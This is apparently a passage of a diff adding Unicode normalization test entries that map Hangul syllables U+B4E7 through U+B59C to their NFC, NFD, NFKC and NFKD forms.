+{ source: [0xB4E7], NFC: [0xB4E7], NFD: [0x1103, 0x1173, 0x11B2], NFKC: [0xB4E7], NFKD: [0x1103, 0x1173, 0x11B2] },
+{ source: [0xB4E8], NFC: [0xB4E8], NFD: [0x1103, 0x1173, 0x11B3], NFKC: [0xB4E8], NFKD: [0x1103, 0x1173, 0x11B3] },
+{ source: [0xB4E9], NFC: [0xB4E9], NFD: [0x1103, 0x1173, 0x11B4], NFKC: [0xB4E9], NFKD: [0x1103, 0x1173, 0x11B4] },
+{ source: [0xB4EA], NFC: [0xB4EA], NFD: [0x1103, 0x1173, 0x11B5], NFKC: [0xB4EA], NFKD: [0x1103, 0x1173, 0x11B5] },
+{ source: [0xB4EB], NFC: [0xB4EB], NFD: [0x1103, 0x1173, 0x11B6], NFKC: [0xB4EB], NFKD: [0x1103, 0x1173, 0x11B6] },
+{ source: [0xB4EC], NFC: [0xB4EC], NFD: [0x1103, 0x1173, 0x11B7], NFKC: [0xB4EC], NFKD: [0x1103, 0x1173, 0x11B7] },
+{ source: [0xB4ED], NFC: [0xB4ED], NFD: [0x1103, 0x1173, 0x11B8], NFKC: [0xB4ED], NFKD: [0x1103, 0x1173, 0x11B8] },
+{ source: [0xB4EE], NFC: [0xB4EE], NFD: [0x1103, 0x1173, 0x11B9], NFKC: [0xB4EE], NFKD: [0x1103, 0x1173, 0x11B9] },
+{ source: [0xB4EF], NFC: [0xB4EF], NFD: [0x1103, 0x1173, 0x11BA], NFKC: [0xB4EF], NFKD: [0x1103, 0x1173, 0x11BA] },
+{ source: [0xB4F0], NFC: [0xB4F0], NFD: [0x1103, 0x1173, 0x11BB], NFKC: [0xB4F0], NFKD: [0x1103, 0x1173, 0x11BB] },
+{ source: [0xB4F1], NFC: [0xB4F1], NFD: [0x1103, 0x1173, 0x11BC], NFKC: [0xB4F1], NFKD: [0x1103, 0x1173, 0x11BC] },
+{ source: [0xB4F2], NFC: [0xB4F2], NFD: [0x1103, 0x1173, 0x11BD], NFKC: [0xB4F2], NFKD: [0x1103, 0x1173, 0x11BD] },
+{ source: [0xB4F3], NFC: [0xB4F3], NFD: [0x1103, 0x1173, 0x11BE], NFKC: [0xB4F3], NFKD: [0x1103, 0x1173, 0x11BE] },
+{ source: [0xB4F4], NFC: [0xB4F4], NFD: [0x1103, 0x1173, 0x11BF], NFKC: [0xB4F4], NFKD: [0x1103, 0x1173, 0x11BF] },
+{ source: [0xB4F5], NFC: [0xB4F5], NFD: [0x1103, 0x1173, 0x11C0], NFKC: [0xB4F5], NFKD: [0x1103, 0x1173, 0x11C0] },
+{ source: [0xB4F6], NFC: [0xB4F6], NFD: [0x1103, 0x1173, 0x11C1], NFKC: [0xB4F6], NFKD: [0x1103, 0x1173, 0x11C1] },
+{ source: [0xB4F7], NFC: [0xB4F7], NFD: [0x1103, 0x1173, 0x11C2], NFKC: [0xB4F7], NFKD: [0x1103, 0x1173, 0x11C2] },
+{ source: [0xB4F8], NFC: [0xB4F8], NFD: [0x1103, 0x1174], NFKC: [0xB4F8], NFKD: [0x1103, 0x1174] },
+{ source: [0xB4F9], NFC: [0xB4F9], NFD: [0x1103, 0x1174, 0x11A8], NFKC: [0xB4F9], NFKD: [0x1103, 0x1174, 0x11A8] },
+{ source: [0xB4FA], NFC: [0xB4FA], NFD: [0x1103, 0x1174, 0x11A9], NFKC: [0xB4FA], NFKD: [0x1103, 0x1174, 0x11A9] },
+{ source: [0xB4FB], NFC: [0xB4FB], NFD: [0x1103, 0x1174, 0x11AA], NFKC: [0xB4FB], NFKD: [0x1103, 0x1174, 0x11AA] },
+{ source: [0xB4FC], NFC: [0xB4FC], NFD: [0x1103, 0x1174, 0x11AB], NFKC: [0xB4FC], NFKD: [0x1103, 0x1174, 0x11AB] },
+{ source: [0xB4FD], NFC: [0xB4FD], NFD: [0x1103, 0x1174, 0x11AC], NFKC: [0xB4FD], NFKD: [0x1103, 0x1174, 0x11AC] },
+{ source: [0xB4FE], NFC: [0xB4FE], NFD: [0x1103, 0x1174, 0x11AD], NFKC: [0xB4FE], NFKD: [0x1103, 0x1174, 0x11AD] },
+{ source: [0xB4FF], NFC: [0xB4FF], NFD: [0x1103, 0x1174, 0x11AE], NFKC: [0xB4FF], NFKD: [0x1103, 0x1174, 0x11AE] },
+{ source: [0xB500], NFC: [0xB500], NFD: [0x1103, 0x1174, 0x11AF], NFKC: [0xB500], NFKD: [0x1103, 0x1174, 0x11AF] },
+{ source: [0xB501], NFC: [0xB501], NFD: [0x1103, 0x1174, 0x11B0], NFKC: [0xB501], NFKD: [0x1103, 0x1174, 0x11B0] },
+{ source: [0xB502], NFC: [0xB502], NFD: [0x1103, 0x1174, 0x11B1], NFKC: [0xB502], NFKD: [0x1103, 0x1174, 0x11B1] },
+{ source: [0xB503], NFC: [0xB503], NFD: [0x1103, 0x1174, 0x11B2], NFKC: [0xB503], NFKD: [0x1103, 0x1174, 0x11B2] },
+{ source: [0xB504], NFC: [0xB504], NFD: [0x1103, 0x1174, 0x11B3], NFKC: [0xB504], NFKD: [0x1103, 0x1174, 0x11B3] },
+{ source: [0xB505], NFC: [0xB505], NFD: [0x1103, 0x1174, 0x11B4], NFKC: [0xB505], NFKD: [0x1103, 0x1174, 0x11B4] },
+{ source: [0xB506], NFC: [0xB506], NFD: [0x1103, 0x1174, 0x11B5], NFKC: [0xB506], NFKD: [0x1103, 0x1174, 0x11B5] },
+{ source: [0xB507], NFC: [0xB507], NFD: [0x1103, 0x1174, 0x11B6], NFKC: [0xB507], NFKD: [0x1103, 0x1174, 0x11B6] },
+{ source: [0xB508], NFC: [0xB508], NFD: [0x1103, 0x1174, 0x11B7], NFKC: [0xB508], NFKD: [0x1103, 0x1174, 0x11B7] },
+{ source: [0xB509], NFC: [0xB509], NFD: [0x1103, 0x1174, 0x11B8], NFKC: [0xB509], NFKD: [0x1103, 0x1174, 0x11B8] },
+{ source: [0xB50A], NFC: [0xB50A], NFD: [0x1103, 0x1174, 0x11B9], NFKC: [0xB50A], NFKD: [0x1103, 0x1174, 0x11B9] },
+{ source: [0xB50B], NFC: [0xB50B], NFD: [0x1103, 0x1174, 0x11BA], NFKC: [0xB50B], NFKD: [0x1103, 0x1174, 0x11BA] },
+{ source: [0xB50C], NFC: [0xB50C], NFD: [0x1103, 0x1174, 0x11BB], NFKC: [0xB50C], NFKD: [0x1103, 0x1174, 0x11BB] },
+{ source: [0xB50D], NFC: [0xB50D], NFD: [0x1103, 0x1174, 0x11BC], NFKC: [0xB50D], NFKD: [0x1103, 0x1174, 0x11BC] },
+{ source: [0xB50E], NFC: [0xB50E], NFD: [0x1103, 0x1174, 0x11BD], NFKC: [0xB50E], NFKD: [0x1103, 0x1174, 0x11BD] },
+{ source: [0xB50F], NFC: [0xB50F], NFD: [0x1103, 0x1174, 0x11BE], NFKC: [0xB50F], NFKD: [0x1103, 0x1174, 0x11BE] },
+{ source: [0xB510], NFC: [0xB510], NFD: [0x1103, 0x1174, 0x11BF], NFKC: [0xB510], NFKD: [0x1103, 0x1174, 0x11BF] },
+{ source: [0xB511], NFC: [0xB511], NFD: [0x1103, 0x1174, 0x11C0], NFKC: [0xB511], NFKD: [0x1103, 0x1174, 0x11C0] },
+{ source: [0xB512], NFC: [0xB512], NFD: [0x1103, 0x1174, 0x11C1], NFKC: [0xB512], NFKD: [0x1103, 0x1174, 0x11C1] },
+{ source: [0xB513], NFC: [0xB513], NFD: [0x1103, 0x1174, 0x11C2], NFKC: [0xB513], NFKD: [0x1103, 0x1174, 0x11C2] },
+{ source: [0xB514], NFC: [0xB514], NFD: [0x1103, 0x1175], NFKC: [0xB514], NFKD: [0x1103, 0x1175] },
+{ source: [0xB515], NFC: [0xB515], NFD: [0x1103, 0x1175, 0x11A8], NFKC: [0xB515], NFKD: [0x1103, 0x1175, 0x11A8] },
+{ source: [0xB516], NFC: [0xB516], NFD: [0x1103, 0x1175, 0x11A9], NFKC: [0xB516], NFKD: [0x1103, 0x1175, 0x11A9] },
+{ source: [0xB517], NFC: [0xB517], NFD: [0x1103, 0x1175, 0x11AA], NFKC: [0xB517], NFKD: [0x1103, 0x1175, 0x11AA] },
+{ source: [0xB518], NFC: [0xB518], NFD: [0x1103, 0x1175, 0x11AB], NFKC: [0xB518], NFKD: [0x1103, 0x1175, 0x11AB] },
+{ source: [0xB519], NFC: [0xB519], NFD: [0x1103, 0x1175, 0x11AC], NFKC: [0xB519], NFKD: [0x1103, 0x1175, 0x11AC] },
+{ source: [0xB51A], NFC: [0xB51A], NFD: [0x1103, 0x1175, 0x11AD], NFKC: [0xB51A], NFKD: [0x1103, 0x1175, 0x11AD] },
+{ source: [0xB51B], NFC: [0xB51B], NFD: [0x1103, 0x1175, 0x11AE], NFKC: [0xB51B], NFKD: [0x1103, 0x1175, 0x11AE] },
+{ source: [0xB51C], NFC: [0xB51C], NFD: [0x1103, 0x1175, 0x11AF], NFKC: [0xB51C], NFKD: [0x1103, 0x1175, 0x11AF] },
+{ source: [0xB51D], NFC: [0xB51D], NFD: [0x1103, 0x1175, 0x11B0], NFKC: [0xB51D], NFKD: [0x1103, 0x1175, 0x11B0] },
+{ source: [0xB51E], NFC: [0xB51E], NFD: [0x1103, 0x1175, 0x11B1], NFKC: [0xB51E], NFKD: [0x1103, 0x1175, 0x11B1] },
+{ source: [0xB51F], NFC: [0xB51F], NFD: [0x1103, 0x1175, 0x11B2], NFKC: [0xB51F], NFKD: [0x1103, 0x1175, 0x11B2] },
+{ source: [0xB520], NFC: [0xB520], NFD: [0x1103, 0x1175, 0x11B3], NFKC: [0xB520], NFKD: [0x1103, 0x1175, 0x11B3] },
+{ source: [0xB521], NFC: [0xB521], NFD: [0x1103, 0x1175, 0x11B4], NFKC: [0xB521], NFKD: [0x1103, 0x1175, 0x11B4] },
+{ source: [0xB522], NFC: [0xB522], NFD: [0x1103, 0x1175, 0x11B5], NFKC: [0xB522], NFKD: [0x1103, 0x1175, 0x11B5] },
+{ source: [0xB523], NFC: [0xB523], NFD: [0x1103, 0x1175, 0x11B6], NFKC: [0xB523], NFKD: [0x1103, 0x1175, 0x11B6] },
+{ source: [0xB524], NFC: [0xB524], NFD: [0x1103, 0x1175, 0x11B7], NFKC: [0xB524], NFKD: [0x1103, 0x1175, 0x11B7] },
+{ source: [0xB525], NFC: [0xB525], NFD: [0x1103, 0x1175, 0x11B8], NFKC: [0xB525], NFKD: [0x1103, 0x1175, 0x11B8] },
+{ source: [0xB526], NFC: [0xB526], NFD: [0x1103, 0x1175, 0x11B9], NFKC: [0xB526], NFKD: [0x1103, 0x1175, 0x11B9] },
+{ source: [0xB527], NFC: [0xB527], NFD: [0x1103, 0x1175, 0x11BA], NFKC: [0xB527], NFKD: [0x1103, 0x1175, 0x11BA] },
+{ source: [0xB528], NFC: [0xB528], NFD: [0x1103, 0x1175, 0x11BB], NFKC: [0xB528], NFKD: [0x1103, 0x1175, 0x11BB] },
+{ source: [0xB529], NFC: [0xB529], NFD: [0x1103, 0x1175, 0x11BC], NFKC: [0xB529], NFKD: [0x1103, 0x1175, 0x11BC] },
+{ source: [0xB52A], NFC: [0xB52A], NFD: [0x1103, 0x1175, 0x11BD], NFKC: [0xB52A], NFKD: [0x1103, 0x1175, 0x11BD] },
+{ source: [0xB52B], NFC: [0xB52B], NFD: [0x1103, 0x1175, 0x11BE], NFKC: [0xB52B], NFKD: [0x1103, 0x1175, 0x11BE] },
+{ source: [0xB52C], NFC: [0xB52C], NFD: [0x1103, 0x1175, 0x11BF], NFKC: [0xB52C], NFKD: [0x1103, 0x1175, 0x11BF] },
+{ source: [0xB52D], NFC: [0xB52D], NFD: [0x1103, 0x1175, 0x11C0], NFKC: [0xB52D], NFKD: [0x1103, 0x1175, 0x11C0] },
+{ source: [0xB52E], NFC: [0xB52E], NFD: [0x1103, 0x1175, 0x11C1], NFKC: [0xB52E], NFKD: [0x1103, 0x1175, 0x11C1] },
+{ source: [0xB52F], NFC: [0xB52F], NFD: [0x1103, 0x1175, 0x11C2], NFKC: [0xB52F], NFKD: [0x1103, 0x1175, 0x11C2] },
+{ source: [0xB530], NFC: [0xB530], NFD: [0x1104, 0x1161], NFKC: [0xB530], NFKD: [0x1104, 0x1161] },
+{ source: [0xB531], NFC: [0xB531], NFD: [0x1104, 0x1161, 0x11A8], NFKC: [0xB531], NFKD: [0x1104, 0x1161, 0x11A8] },
+{ source: [0xB532], NFC: [0xB532], NFD: [0x1104, 0x1161, 0x11A9], NFKC: [0xB532], NFKD: [0x1104, 0x1161, 0x11A9] },
+{ source: [0xB533], NFC: [0xB533], NFD: [0x1104, 0x1161, 0x11AA], NFKC: [0xB533], NFKD: [0x1104, 0x1161, 0x11AA] },
+{ source: [0xB534], NFC: [0xB534], NFD: [0x1104, 0x1161, 0x11AB], NFKC: [0xB534], NFKD: [0x1104, 0x1161, 0x11AB] },
+{ source: [0xB535], NFC: [0xB535], NFD: [0x1104, 0x1161, 0x11AC], NFKC: [0xB535], NFKD: [0x1104, 0x1161, 0x11AC] },
+{ source: [0xB536], NFC: [0xB536], NFD: [0x1104, 0x1161, 0x11AD], NFKC: [0xB536], NFKD: [0x1104, 0x1161, 0x11AD] },
+{ source: [0xB537], NFC: [0xB537], NFD: [0x1104, 0x1161, 0x11AE], NFKC: [0xB537], NFKD: [0x1104, 0x1161, 0x11AE] },
+{ source: [0xB538], NFC: [0xB538], NFD: [0x1104, 0x1161, 0x11AF], NFKC: [0xB538], NFKD: [0x1104, 0x1161, 0x11AF] },
+{ source: [0xB539], NFC: [0xB539], NFD: [0x1104, 0x1161, 0x11B0], NFKC: [0xB539], NFKD: [0x1104, 0x1161, 0x11B0] },
+{ source: [0xB53A], NFC: [0xB53A], NFD: [0x1104, 0x1161, 0x11B1], NFKC: [0xB53A], NFKD: [0x1104, 0x1161, 0x11B1] },
+{ source: [0xB53B], NFC: [0xB53B], NFD: [0x1104, 0x1161, 0x11B2], NFKC: [0xB53B], NFKD: [0x1104, 0x1161, 0x11B2] },
+{ source: [0xB53C], NFC: [0xB53C], NFD: [0x1104, 0x1161, 0x11B3], NFKC: [0xB53C], NFKD: [0x1104, 0x1161, 0x11B3] },
+{ source: [0xB53D], NFC: [0xB53D], NFD: [0x1104, 0x1161, 0x11B4], NFKC: [0xB53D], NFKD: [0x1104, 0x1161, 0x11B4] },
+{ source: [0xB53E], NFC: [0xB53E], NFD: [0x1104, 0x1161, 0x11B5], NFKC: [0xB53E], NFKD: [0x1104, 0x1161, 0x11B5] },
+{ source: [0xB53F], NFC: [0xB53F], NFD: [0x1104, 0x1161, 0x11B6], NFKC: [0xB53F], NFKD: [0x1104, 0x1161, 0x11B6] },
+{ source: [0xB540], NFC: [0xB540], NFD: [0x1104, 0x1161, 0x11B7], NFKC: [0xB540], NFKD: [0x1104, 0x1161, 0x11B7] },
+{ source: [0xB541], NFC: [0xB541], NFD: [0x1104, 0x1161, 0x11B8], NFKC: [0xB541], NFKD: [0x1104, 0x1161, 0x11B8] },
+{ source: [0xB542], NFC: [0xB542], NFD: [0x1104, 0x1161, 0x11B9], NFKC: [0xB542], NFKD: [0x1104, 0x1161, 0x11B9] },
+{ source: [0xB543], NFC: [0xB543], NFD: [0x1104, 0x1161, 0x11BA], NFKC: [0xB543], NFKD: [0x1104, 0x1161, 0x11BA] },
+{ source: [0xB544], NFC: [0xB544], NFD: [0x1104, 0x1161, 0x11BB], NFKC: [0xB544], NFKD: [0x1104, 0x1161, 0x11BB] },
+{ source: [0xB545], NFC: [0xB545], NFD: [0x1104, 0x1161, 0x11BC], NFKC: [0xB545], NFKD: [0x1104, 0x1161, 0x11BC] },
+{ source: [0xB546], NFC: [0xB546], NFD: [0x1104, 0x1161, 0x11BD], NFKC: [0xB546], NFKD: [0x1104, 0x1161, 0x11BD] },
+{ source: [0xB547], NFC: [0xB547], NFD: [0x1104, 0x1161, 0x11BE], NFKC: [0xB547], NFKD: [0x1104, 0x1161, 0x11BE] },
+{ source: [0xB548], NFC: [0xB548], NFD: [0x1104, 0x1161, 0x11BF], NFKC: [0xB548], NFKD: [0x1104, 0x1161, 0x11BF] },
+{ source: [0xB549], NFC: [0xB549], NFD: [0x1104, 0x1161, 0x11C0], NFKC: [0xB549], NFKD: [0x1104, 0x1161, 0x11C0] },
+{ source: [0xB54A], NFC: [0xB54A], NFD: [0x1104, 0x1161, 0x11C1], NFKC: [0xB54A], NFKD: [0x1104, 0x1161, 0x11C1] },
+{ source: [0xB54B], NFC: [0xB54B], NFD: [0x1104, 0x1161, 0x11C2], NFKC: [0xB54B], NFKD: [0x1104, 0x1161, 0x11C2] },
+{ source: [0xB54C], NFC: [0xB54C], NFD: [0x1104, 0x1162], NFKC: [0xB54C], NFKD: [0x1104, 0x1162] },
+{ source: [0xB54D], NFC: [0xB54D], NFD: [0x1104, 0x1162, 0x11A8], NFKC: [0xB54D], NFKD: [0x1104, 0x1162, 0x11A8] },
+{ source: [0xB54E], NFC: [0xB54E], NFD: [0x1104, 0x1162, 0x11A9], NFKC: [0xB54E], NFKD: [0x1104, 0x1162, 0x11A9] },
+{ source: [0xB54F], NFC: [0xB54F], NFD: [0x1104, 0x1162, 0x11AA], NFKC: [0xB54F], NFKD: [0x1104, 0x1162, 0x11AA] },
+{ source: [0xB550], NFC: [0xB550], NFD: [0x1104, 0x1162, 0x11AB], NFKC: [0xB550], NFKD: [0x1104, 0x1162, 0x11AB] },
+{ source: [0xB551], NFC: [0xB551], NFD: [0x1104, 0x1162, 0x11AC], NFKC: [0xB551], NFKD: [0x1104, 0x1162, 0x11AC] },
+{ source: [0xB552], NFC: [0xB552], NFD: [0x1104, 0x1162, 0x11AD], NFKC: [0xB552], NFKD: [0x1104, 0x1162, 0x11AD] },
+{ source: [0xB553], NFC: [0xB553], NFD: [0x1104, 0x1162, 0x11AE], NFKC: [0xB553], NFKD: [0x1104, 0x1162, 0x11AE] },
+{ source: [0xB554], NFC: [0xB554], NFD: [0x1104, 0x1162, 0x11AF], NFKC: [0xB554], NFKD: [0x1104, 0x1162, 0x11AF] },
+{ source: [0xB555], NFC: [0xB555], NFD: [0x1104, 0x1162, 0x11B0], NFKC: [0xB555], NFKD: [0x1104, 0x1162, 0x11B0] },
+{ source: [0xB556], NFC: [0xB556], NFD: [0x1104, 0x1162, 0x11B1], NFKC: [0xB556], NFKD: [0x1104, 0x1162, 0x11B1] },
+{ source: [0xB557], NFC: [0xB557], NFD: [0x1104, 0x1162, 0x11B2], NFKC: [0xB557], NFKD: [0x1104, 0x1162, 0x11B2] },
+{ source: [0xB558], NFC: [0xB558], NFD: [0x1104, 0x1162, 0x11B3], NFKC: [0xB558], NFKD: [0x1104, 0x1162, 0x11B3] },
+{ source: [0xB559], NFC: [0xB559], NFD: [0x1104, 0x1162, 0x11B4], NFKC: [0xB559], NFKD: [0x1104, 0x1162, 0x11B4] },
+{ source: [0xB55A], NFC: [0xB55A], NFD: [0x1104, 0x1162, 0x11B5], NFKC: [0xB55A], NFKD: [0x1104, 0x1162, 0x11B5] },
+{ source: [0xB55B], NFC: [0xB55B], NFD: [0x1104, 0x1162, 0x11B6], NFKC: [0xB55B], NFKD: [0x1104, 0x1162, 0x11B6] },
+{ source: [0xB55C], NFC: [0xB55C], NFD: [0x1104, 0x1162, 0x11B7], NFKC: [0xB55C], NFKD: [0x1104, 0x1162, 0x11B7] },
+{ source: [0xB55D], NFC: [0xB55D], NFD: [0x1104, 0x1162, 0x11B8], NFKC: [0xB55D], NFKD: [0x1104, 0x1162, 0x11B8] },
+{ source: [0xB55E], NFC: [0xB55E], NFD: [0x1104, 0x1162, 0x11B9], NFKC: [0xB55E], NFKD: [0x1104, 0x1162, 0x11B9] },
+{ source: [0xB55F], NFC: [0xB55F], NFD: [0x1104, 0x1162, 0x11BA], NFKC: [0xB55F], NFKD: [0x1104, 0x1162, 0x11BA] },
+{ source: [0xB560], NFC: [0xB560], NFD: [0x1104, 0x1162, 0x11BB], NFKC: [0xB560], NFKD: [0x1104, 0x1162, 0x11BB] },
+{ source: [0xB561], NFC: [0xB561], NFD: [0x1104, 0x1162, 0x11BC], NFKC: [0xB561], NFKD: [0x1104, 0x1162, 0x11BC] },
+{ source: [0xB562], NFC: [0xB562], NFD: [0x1104, 0x1162, 0x11BD], NFKC: [0xB562], NFKD: [0x1104, 0x1162, 0x11BD] },
+{ source: [0xB563], NFC: [0xB563], NFD: [0x1104, 0x1162, 0x11BE], NFKC: [0xB563], NFKD: [0x1104, 0x1162, 0x11BE] },
+{ source: [0xB564], NFC: [0xB564], NFD: [0x1104, 0x1162, 0x11BF], NFKC: [0xB564], NFKD: [0x1104, 0x1162, 0x11BF] },
+{ source: [0xB565], NFC: [0xB565], NFD: [0x1104, 0x1162, 0x11C0], NFKC: [0xB565], NFKD: [0x1104, 0x1162, 0x11C0] },
+{ source: [0xB566], NFC: [0xB566], NFD: [0x1104, 0x1162, 0x11C1], NFKC: [0xB566], NFKD: [0x1104, 0x1162, 0x11C1] },
+{ source: [0xB567], NFC: [0xB567], NFD: [0x1104, 0x1162, 0x11C2], NFKC: [0xB567], NFKD: [0x1104, 0x1162, 0x11C2] },
+{ source: [0xB568], NFC: [0xB568], NFD: [0x1104, 0x1163], NFKC: [0xB568], NFKD: [0x1104, 0x1163] },
+{ source: [0xB569], NFC: [0xB569], NFD: [0x1104, 0x1163, 0x11A8], NFKC: [0xB569], NFKD: [0x1104, 0x1163, 0x11A8] },
+{ source: [0xB56A], NFC: [0xB56A], NFD: [0x1104, 0x1163, 0x11A9], NFKC: [0xB56A], NFKD: [0x1104, 0x1163, 0x11A9] },
+{ source: [0xB56B], NFC: [0xB56B], NFD: [0x1104, 0x1163, 0x11AA], NFKC: [0xB56B], NFKD: [0x1104, 0x1163, 0x11AA] },
+{ source: [0xB56C], NFC: [0xB56C], NFD: [0x1104, 0x1163, 0x11AB], NFKC: [0xB56C], NFKD: [0x1104, 0x1163, 0x11AB] },
+{ source: [0xB56D], NFC: [0xB56D], NFD: [0x1104, 0x1163, 0x11AC], NFKC: [0xB56D], NFKD: [0x1104, 0x1163, 0x11AC] },
+{ source: [0xB56E], NFC: [0xB56E], NFD: [0x1104, 0x1163, 0x11AD], NFKC: [0xB56E], NFKD: [0x1104, 0x1163, 0x11AD] },
+{ source: [0xB56F], NFC: [0xB56F], NFD: [0x1104, 0x1163, 0x11AE], NFKC: [0xB56F], NFKD: [0x1104, 0x1163, 0x11AE] },
+{ source: [0xB570], NFC: [0xB570], NFD: [0x1104, 0x1163, 0x11AF], NFKC: [0xB570], NFKD: [0x1104, 0x1163, 0x11AF] },
+{ source: [0xB571], NFC: [0xB571], NFD: [0x1104, 0x1163, 0x11B0], NFKC: [0xB571], NFKD: [0x1104, 0x1163, 0x11B0] },
+{ source: [0xB572], NFC: [0xB572], NFD: [0x1104, 0x1163, 0x11B1], NFKC: [0xB572], NFKD: [0x1104, 0x1163, 0x11B1] },
+{ source: [0xB573], NFC: [0xB573], NFD: [0x1104, 0x1163, 0x11B2], NFKC: [0xB573], NFKD: [0x1104, 0x1163, 0x11B2] },
+{ source: [0xB574], NFC: [0xB574], NFD: [0x1104, 0x1163, 0x11B3], NFKC: [0xB574], NFKD: [0x1104, 0x1163, 0x11B3] },
+{ source: [0xB575], NFC: [0xB575], NFD: [0x1104, 0x1163, 0x11B4], NFKC: [0xB575], NFKD: [0x1104, 0x1163, 0x11B4] },
+{ source: [0xB576], NFC: [0xB576], NFD: [0x1104, 0x1163, 0x11B5], NFKC: [0xB576], NFKD: [0x1104, 0x1163, 0x11B5] },
+{ source: [0xB577], NFC: [0xB577], NFD: [0x1104, 0x1163, 0x11B6], NFKC: [0xB577], NFKD: [0x1104, 0x1163, 0x11B6] },
+{ source: [0xB578], NFC: [0xB578], NFD: [0x1104, 0x1163, 0x11B7], NFKC: [0xB578], NFKD: [0x1104, 0x1163, 0x11B7] },
+{ source: [0xB579], NFC: [0xB579], NFD: [0x1104, 0x1163, 0x11B8], NFKC: [0xB579], NFKD: [0x1104, 0x1163, 0x11B8] },
+{ source: [0xB57A], NFC: [0xB57A], NFD: [0x1104, 0x1163, 0x11B9], NFKC: [0xB57A], NFKD: [0x1104, 0x1163, 0x11B9] },
+{ source: [0xB57B], NFC: [0xB57B], NFD: [0x1104, 0x1163, 0x11BA], NFKC: [0xB57B], NFKD: [0x1104, 0x1163, 0x11BA] },
+{ source: [0xB57C], NFC: [0xB57C], NFD: [0x1104, 0x1163, 0x11BB], NFKC: [0xB57C], NFKD: [0x1104, 0x1163, 0x11BB] },
+{ source: [0xB57D], NFC: [0xB57D], NFD: [0x1104, 0x1163, 0x11BC], NFKC: [0xB57D], NFKD: [0x1104, 0x1163, 0x11BC] },
+{ source: [0xB57E], NFC: [0xB57E], NFD: [0x1104, 0x1163, 0x11BD], NFKC: [0xB57E], NFKD: [0x1104, 0x1163, 0x11BD] },
+{ source: [0xB57F], NFC: [0xB57F], NFD: [0x1104, 0x1163, 0x11BE], NFKC: [0xB57F], NFKD: [0x1104, 0x1163, 0x11BE] },
+{ source: [0xB580], NFC: [0xB580], NFD: [0x1104, 0x1163, 0x11BF], NFKC: [0xB580], NFKD: [0x1104, 0x1163, 0x11BF] },
+{ source: [0xB581], NFC: [0xB581], NFD: [0x1104, 0x1163, 0x11C0], NFKC: [0xB581], NFKD: [0x1104, 0x1163, 0x11C0] },
+{ source: [0xB582], NFC: [0xB582], NFD: [0x1104, 0x1163, 0x11C1], NFKC: [0xB582], NFKD: [0x1104, 0x1163, 0x11C1] },
+{ source: [0xB583], NFC: [0xB583], NFD: [0x1104, 0x1163, 0x11C2], NFKC: [0xB583], NFKD: [0x1104, 0x1163, 0x11C2] },
+{ source: [0xB584], NFC: [0xB584], NFD: [0x1104, 0x1164], NFKC: [0xB584], NFKD: [0x1104, 0x1164] },
+{ source: [0xB585], NFC: [0xB585], NFD: [0x1104, 0x1164, 0x11A8], NFKC: [0xB585], NFKD: [0x1104, 0x1164, 0x11A8] },
+{ source: [0xB586], NFC: [0xB586], NFD: [0x1104, 0x1164, 0x11A9], NFKC: [0xB586], NFKD: [0x1104, 0x1164, 0x11A9] },
+{ source: [0xB587], NFC: [0xB587], NFD: [0x1104, 0x1164, 0x11AA], NFKC: [0xB587], NFKD: [0x1104, 0x1164, 0x11AA] },
+{ source: [0xB588], NFC: [0xB588], NFD: [0x1104, 0x1164, 0x11AB], NFKC: [0xB588], NFKD: [0x1104, 0x1164, 0x11AB] },
+{ source: [0xB589], NFC: [0xB589], NFD: [0x1104, 0x1164, 0x11AC], NFKC: [0xB589], NFKD: [0x1104, 0x1164, 0x11AC] },
+{ source: [0xB58A], NFC: [0xB58A], NFD: [0x1104, 0x1164, 0x11AD], NFKC: [0xB58A], NFKD: [0x1104, 0x1164, 0x11AD] },
+{ source: [0xB58B], NFC: [0xB58B], NFD: [0x1104, 0x1164, 0x11AE], NFKC: [0xB58B], NFKD: [0x1104, 0x1164, 0x11AE] },
+{ source: [0xB58C], NFC: [0xB58C], NFD: [0x1104, 0x1164, 0x11AF], NFKC: [0xB58C], NFKD: [0x1104, 0x1164, 0x11AF] },
+{ source: [0xB58D], NFC: [0xB58D], NFD: [0x1104, 0x1164, 0x11B0], NFKC: [0xB58D], NFKD: [0x1104, 0x1164, 0x11B0] },
+{ source: [0xB58E], NFC: [0xB58E], NFD: [0x1104, 0x1164, 0x11B1], NFKC: [0xB58E], NFKD: [0x1104, 0x1164, 0x11B1] },
+{ source: [0xB58F], NFC: [0xB58F], NFD: [0x1104, 0x1164, 0x11B2], NFKC: [0xB58F], NFKD: [0x1104, 0x1164, 0x11B2] },
+{ source: [0xB590], NFC: [0xB590], NFD: [0x1104, 0x1164, 0x11B3], NFKC: [0xB590], NFKD: [0x1104, 0x1164, 0x11B3] },
+{ source: [0xB591], NFC: [0xB591], NFD: [0x1104, 0x1164, 0x11B4], NFKC: [0xB591], NFKD: [0x1104, 0x1164, 0x11B4] },
+{ source: [0xB592], NFC: [0xB592], NFD: [0x1104, 0x1164, 0x11B5], NFKC: [0xB592], NFKD: [0x1104, 0x1164, 0x11B5] },
+{ source: [0xB593], NFC: [0xB593], NFD: [0x1104, 0x1164, 0x11B6], NFKC: [0xB593], NFKD: [0x1104, 0x1164, 0x11B6] },
+{ source: [0xB594], NFC: [0xB594], NFD: [0x1104, 0x1164, 0x11B7], NFKC: [0xB594], NFKD: [0x1104, 0x1164, 0x11B7] },
+{ source: [0xB595], NFC: [0xB595], NFD: [0x1104, 0x1164, 0x11B8], NFKC: [0xB595], NFKD: [0x1104, 0x1164, 0x11B8] },
+{ source: [0xB596], NFC: [0xB596], NFD: [0x1104, 0x1164, 0x11B9], NFKC: [0xB596], NFKD: [0x1104, 0x1164, 0x11B9] },
+{ source: [0xB597], NFC: [0xB597], NFD: [0x1104, 0x1164, 0x11BA], NFKC: [0xB597], NFKD: [0x1104, 0x1164, 0x11BA] },
+{ source: [0xB598], NFC: [0xB598], NFD: [0x1104, 0x1164, 0x11BB], NFKC: [0xB598], NFKD: [0x1104, 0x1164, 0x11BB] },
+{ source: [0xB599], NFC: [0xB599], NFD: [0x1104, 0x1164, 0x11BC], NFKC: [0xB599], NFKD: [0x1104, 0x1164, 0x11BC] },
+{ source: [0xB59A], NFC: [0xB59A], NFD: [0x1104, 0x1164, 0x11BD], NFKC: [0xB59A], NFKD: [0x1104, 0x1164, 0x11BD] },
+{ source: [0xB59B], NFC: [0xB59B], NFD: [0x1104, 0x1164, 0x11BE], NFKC: [0xB59B], NFKD: [0x1104, 0x1164, 0x11BE] },
+{ source: [0xB59C], NFC: [0xB59C], NFD: [0x1104, 0x1164, 0x11BF], NFKC: [0xB59C], NFKD: [0x1104, 0x1164, 0x11BF] },
